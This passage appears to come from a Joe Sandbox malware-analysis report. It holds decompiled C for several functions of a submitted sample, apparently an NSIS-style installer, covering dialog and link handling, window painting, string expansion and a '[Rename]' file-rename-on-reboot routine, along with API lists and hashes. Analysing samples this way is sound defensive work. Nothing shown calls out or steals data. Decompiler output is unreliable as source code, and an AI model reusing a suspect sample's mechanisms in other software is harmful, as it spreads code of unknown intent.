											SendMessageA( *0x423758, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x42400c - _t133;
										if( *0x42400c == _t133) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f948 = 1;
											L21:
											_push(0x78);
											L22:
											E00403F90();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f948 = _t127;
										goto L21;
									}
									__eflags =  *0x4091e8 - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423758);
						 *0x423758 = _a12;
						L58:
						_t141 =  *0x421580 - _t133; // 0x0
						if(_t141 == 0 &&  *0x423758 != _t133) {
							ShowWindow(_t125, 0xa);
							 *0x421580 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x00403aed
0x00403af6
0x00403c37
0x00403c3b
0x00403c3f
0x00403c41
0x00403c46
0x00403c51
0x00403c5c
0x00403c61
0x00403c63
0x00403c65
0x00403c68
0x00403c6d
0x00403c7b
0x00403c88
0x00403c8f
0x00403c8f
0x00403c90
0x00403c90
0x00403c95
0x00403c9b
0x00403ca2
0x00403ca8
0x00403caa
0x00403cea
0x00403cef
0x00403cf4
0x00403cf4
0x00403cf9
0x00403d02
0x00403d04
0x00403d09
0x00403d0f
0x00403d13
0x00403d13
0x00403d18
0x00403d1e
0x00000000
0x00000000
0x00403d29
0x00403d2f
0x00000000
0x00000000
0x00403d38
0x00403d40
0x00403d45
0x00403d48
0x00403d4e
0x00403d53
0x00403d56
0x00403d5c
0x00403d61
0x00403d64
0x00403d6a
0x00403d72
0x00403d78
0x00403d7e
0x00403d82
0x00403d89
0x00403d89
0x00403d89
0x00403d93
0x00403da5
0x00403db1
0x00403db6
0x00403dc0
0x00403dc6
0x00403dc8
0x00403dcd
0x00403dca
0x00403dca
0x00403dca
0x00403ddd
0x00403df5
0x00403df7
0x00403dfd
0x00403e12
0x00403dff
0x00403e08
0x00403e0a
0x00403e0a
0x00403e18
0x00403e28
0x00403e39
0x00403e40
0x00403e46
0x00403e4a
0x00403e4f
0x00403e51
0x00000000
0x00403e57
0x00403e57
0x00403e59
0x00000000
0x00000000
0x00403e5f
0x00403e63
0x00403e88
0x00403e8e
0x00403e94
0x00403e96
0x00000000
0x00000000
0x00403ebc
0x00403ec2
0x00403ec4
0x00403ec9
0x00000000
0x00000000
0x00403ecf
0x00403ed2
0x00403ed5
0x00403eec
0x00403ef8
0x00403f11
0x00403f17
0x00403f1b
0x00403f20
0x00403f26
0x00000000
0x00000000
0x00403f30
0x00403f3b
0x00000000
0x00403f3b
0x00403e65
0x00403e6b
0x00000000
0x00000000
0x00403e71
0x00403e77
0x00000000
0x00000000
0x00000000
0x00403e7d
0x00403e51
0x00403f48
0x00403f54
0x00403f5b
0x00000000
0x00403cac
0x00403cac
0x00403caf
0x00403ce2
0x00403ce2
0x00403ce4
0x00000000
0x00000000
0x00000000
0x00403ce4
0x00403cb1
0x00403cb5
0x00403cba
0x00403cbc
0x00000000
0x00000000
0x00403ccc
0x00403cd4
0x00000000
0x00403cda
0x00403b08
0x00403b08
0x00403b0c
0x00403b11
0x00403b20
0x00403b20
0x00403b29
0x00403b32
0x00403b3d
0x00403b3d
0x00403b49
0x00403b65
0x00403b68
0x00403b7b
0x00403b81
0x00403c24
0x00000000
0x00403c2d
0x00403b87
0x00403b94
0x00403b96
0x00403b98
0x00403bb7
0x00403bb7
0x00403bba
0x00403bbf
0x00403bc2
0x00403bd2
0x00403bd3
0x00403bd5
0x00403c0b
0x00403c1e
0x00000000
0x00403c1e
0x00403bd7
0x00403bdd
0x00403bf6
0x00403bfb
0x00403bfd
0x00000000
0x00000000
0x00403bff
0x00403beb
0x00403beb
0x00403bed
0x00403bed
0x00000000
0x00403bed
0x00403be0
0x00403be5
0x00000000
0x00403be5
0x00403bc4
0x00403bca
0x00000000
0x00000000
0x00403bcc
0x00000000
0x00403bcc
0x00403bbc
0x00000000
0x00403bbc
0x00403ba2
0x00403ba9
0x00403baf
0x00403bb1
0x00000000
0x00000000
0x00000000
0x00403bb1
0x00403b6d
0x00000000
0x00403b4b
0x00403b51
0x00403b5b
0x00403f61
0x00403f61
0x00403f67
0x00403f74
0x00403f7a
0x00403f7a
0x00403f84
0x00000000
0x00403f84
0x00403b49

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403B20
ShowWindow.USER32(?), ref: 00403B3D
DestroyWindow.USER32 ref: 00403B51
SetWindowLongA.USER32 ref: 00403B6D
GetDlgItem.USER32 ref: 00403B8E
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403BA2
IsWindowEnabled.USER32(00000000), ref: 00403BA9
GetDlgItem.USER32 ref: 00403C57
GetDlgItem.USER32 ref: 00403C61
SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403C7B
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403CCC
GetDlgItem.USER32 ref: 00403D72
ShowWindow.USER32(00000000,?), ref: 00403D93
EnableWindow.USER32(?,?), ref: 00403DA5
EnableWindow.USER32(?,?), ref: 00403DC0
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403DD6
EnableMenuItem.USER32 ref: 00403DDD
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403DF5
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403E08
lstrlenA.KERNEL32(00420580,?,00420580,00423780), ref: 00403E31
SetWindowTextA.USER32(?,00420580), ref: 00403E40
ShowWindow.USER32(?,0000000A), ref: 00403F74

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 4d3bbdf9db9246a7f18a05b6fc397e10c1c96f644e1aca1d2e09b909f4145d9c
Instruction ID: 583b1d6e72ee06ddf0416b700d05e2a9c6fbe9640e5ca120217838ed285f2c24
Opcode Fuzzy Hash: 4d3bbdf9db9246a7f18a05b6fc397e10c1c96f644e1aca1d2e09b909f4145d9c
Instruction Fuzzy Hash: 00C1C471A08205BBDB216F61ED85D2B7FBCEB4470AF50443EF601B51E1C739AA429B1E

Uniqueness

Uniqueness Score: -1.00%

Function 004040FF Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004040FF(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420560 =  *0x420560 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E0040401E(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422f20;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422f20
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423f88, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423f88, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420560 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fd50 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403FD9(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E0040438A();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t113 =  *( *0x42375c - 4 + _t113 * 4);
				}
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 +  *0x423fb8;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E004040CB;
				E00403FB7(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403FB7(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403FD9( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403FEC(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t86 =  *( *0x423f90 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f544 =  *0x41f544 & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420560 =  *0x420560 & 0x00000000;
				return 0;
			}

0x0040410f
0x00404235
0x00404291
0x00404295
0x0040436c
0x0040436e
0x0040436e
0x00404374
0x00404374
0x00404377
0x00000000
0x0040437e
0x004042a3
0x004042a5
0x004042af
0x004042ba
0x004042bd
0x004042c0
0x004042cb
0x004042ce
0x004042d5
0x004042e3
0x004042fb
0x00404303
0x0040430e
0x0040431e
0x00404320
0x00404320
0x004042d5
0x0040432a
0x00000000
0x00404335
0x00404339
0x0040434a
0x0040434a
0x00404350
0x0040435e
0x0040435e
0x00000000
0x00404362
0x0040432a
0x00404240
0x00000000
0x00404254
0x0040425a
0x00404260
0x00000000
0x00000000
0x00404285
0x00404287
0x0040428c
0x00000000
0x0040428c
0x00404240
0x00404115
0x00404118
0x0040411d
0x0040412e
0x0040412e
0x00404135
0x00404138
0x0040413a
0x0040413f
0x00404148
0x0040414e
0x0040415a
0x0040415d
0x00404166
0x0040416b
0x0040416e
0x00404173
0x0040418a
0x00404191
0x004041a4
0x004041a7
0x004041bc
0x004041c3
0x004041c8
0x004041cd
0x004041cd
0x004041dc
0x004041eb
0x004041ed
0x00404203
0x00404212
0x00404214
0x00000000

APIs

CheckDlgButton.USER32 ref: 0040418A
GetDlgItem.USER32 ref: 0040419E
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041BC
GetSysColor.USER32(?), ref: 004041CD
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004041DC
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004041EB
lstrlenA.KERNEL32(?), ref: 004041F5
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404203
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404212
GetDlgItem.USER32 ref: 00404275
SendMessageA.USER32(00000000), ref: 00404278
GetDlgItem.USER32 ref: 004042A3
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004042E3
LoadCursorA.USER32 ref: 004042F2
SetCursor.USER32(00000000), ref: 004042FB
ShellExecuteA.SHELL32(0000070B,open, /B,00000000,00000000,00000001), ref: 0040430E
LoadCursorA.USER32 ref: 0040431B
SetCursor.USER32(00000000), ref: 0040431E
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040434A
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040435E

Strings

open, xrefs: 00404306
N, xrefs: 00404291
/B, xrefs: 00404303

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: /B$N$open
API String ID: 3615053054-636633259
Opcode ID: 43ac380643fe876a126a7d51a79fcde76a62781ede984e71abdbe97e8442c5f6
Instruction ID: 4ef5deaae8a6f16a89100f2c462af89a3ec6633dbf44de90af8596516ef02dbc
Opcode Fuzzy Hash: 43ac380643fe876a126a7d51a79fcde76a62781ede984e71abdbe97e8442c5f6
Instruction Fuzzy Hash: 85619FB1A40209BBEB109F60DD45F6A7B79FB44715F108036FB05BA2D1C7B8A951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423f90;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x423780, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x423f88;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00423780,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0ba65d1a2a762be62a9a1f423a7220532c78570fd4983bed9b69ad4ea6e65a72
Instruction ID: 5ee0eae5ae25bcf212c08558168c62b52fbe6696795006813c9da87f91bafb02
Opcode Fuzzy Hash: 0ba65d1a2a762be62a9a1f423a7220532c78570fd4983bed9b69ad4ea6e65a72
Instruction Fuzzy Hash: 00419A71804249AFCB058F94DD459AFBBB9FF44315F00812AF961AA2A0C738AA50DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405A49 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405A49(void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00406087(2);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x424010 =  *0x424010 + 1;
						return _t20;
					}
				}
				 *0x422710 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422188, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421d88, "%s=%s\r\n", 0x422710, 0x422188);
						_t56 = _t55 + 0x10;
						E00405D1D(_t43, 0x400, 0x422188, 0x422188,  *((intOrPtr*)( *0x423f90 + 0x128)));
						_t20 = E004059D2(0x422188, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E00405947(_t51, "[Rename]\r\n") != 0) {
								_t28 = E00405947(_t26 + 0xa, 0x409424);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405993(_t51 + _t29, 0x421d88, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E00405CFB(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E004059D2(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x422710, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x00405a4f
0x00405a56
0x00405a5a
0x00405a63
0x00405a67
0x00405ba6
0x00405ba6
0x00000000
0x00405ba6
0x00405a67
0x00405a73
0x00405a89
0x00405ab1
0x00405abc
0x00405ac0
0x00405ae0
0x00405ae7
0x00405af1
0x00405afe
0x00405b03
0x00405b08
0x00405b0c
0x00000000
0x00000000
0x00405b1b
0x00405b1d
0x00405b2a
0x00405b2e
0x00405b9f
0x00405ba0
0x00000000
0x00405b4a
0x00405b57
0x00405bbc
0x00405bc3
0x00405b6a
0x00405b6a
0x00405b6c
0x00405b75
0x00405b80
0x00405b92
0x00405b99
0x00000000
0x00405b99
0x00405bc5
0x00405bc6
0x00405bcb
0x00405bcd
0x00405bda
0x00405bda
0x00405bde
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bcf
0x00405bcf
0x00405bd2
0x00405bd5
0x00405bd6
0x00000000
0x00405bcf
0x00405b62
0x00405b67
0x00000000
0x00405b67
0x00405b2e
0x00405a8b
0x00405a96
0x00405a9f
0x00405aa3
0x00000000
0x00000000
0x00405aa3
0x00405bb0

APIs

Part of subcall function 00406087: GetModuleHandleA.KERNEL32(?,?,00000000,004032BB,0000000D,SETUPAPI,USERENV,UXTHEME), ref: 00406099
Part of subcall function 00406087: GetProcAddress.KERNEL32(00000000,?), ref: 004060B4

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000002,?,00000000,?,?,004057DE,?,00000000,000000F1,?), ref: 00405A96
GetShortPathNameA.KERNEL32 ref: 00405A9F
GetShortPathNameA.KERNEL32 ref: 00405ABC
wsprintfA.USER32 ref: 00405ADA
GetFileSize.KERNEL32(00000000,00000000,00422188,C0000000,00000004,00422188,?,?,?,00000000,000000F1,?), ref: 00405B15
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 00405B24
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 00405B3A
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421D88,00000000,-0000000A,00409424,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405B80
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405B92
GlobalFree.KERNEL32 ref: 00405B99
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405BA0

Part of subcall function 00405947: lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405B55,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040594E
Part of subcall function 00405947: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405B55,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040597E

Strings

[Rename], xrefs: 00405B4A, 00405B5C
%s=%s, xrefs: 00405AD0

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$[Rename]
API String ID: 3445103937-1727408572
Opcode ID: 33756e72fd6f1d9250d3b45ccd1eb6e8d37fe10fc7839c9b0644593744dd0e34
Instruction ID: d3b858f9c50fd1002edea1203351e8dfee5eb830211114c78627ca8ef1b38bc0
Opcode Fuzzy Hash: 33756e72fd6f1d9250d3b45ccd1eb6e8d37fe10fc7839c9b0644593744dd0e34
Instruction Fuzzy Hash: 2B41FF71A45A15BBD7206B619D49F6B3AACEF80754F140436FE05F22C2E67CBC018EAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405D1D Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00405D1D(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				signed int _t74;
				signed int _t75;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t36 =  *( *0x42375c - 4 + _t36 * 4);
				}
				_t74 =  *0x423fb8 + _t36;
				_t37 = 0x422f20;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422f20;
				if(_a4 - 0x422f20 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E00405D1D(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
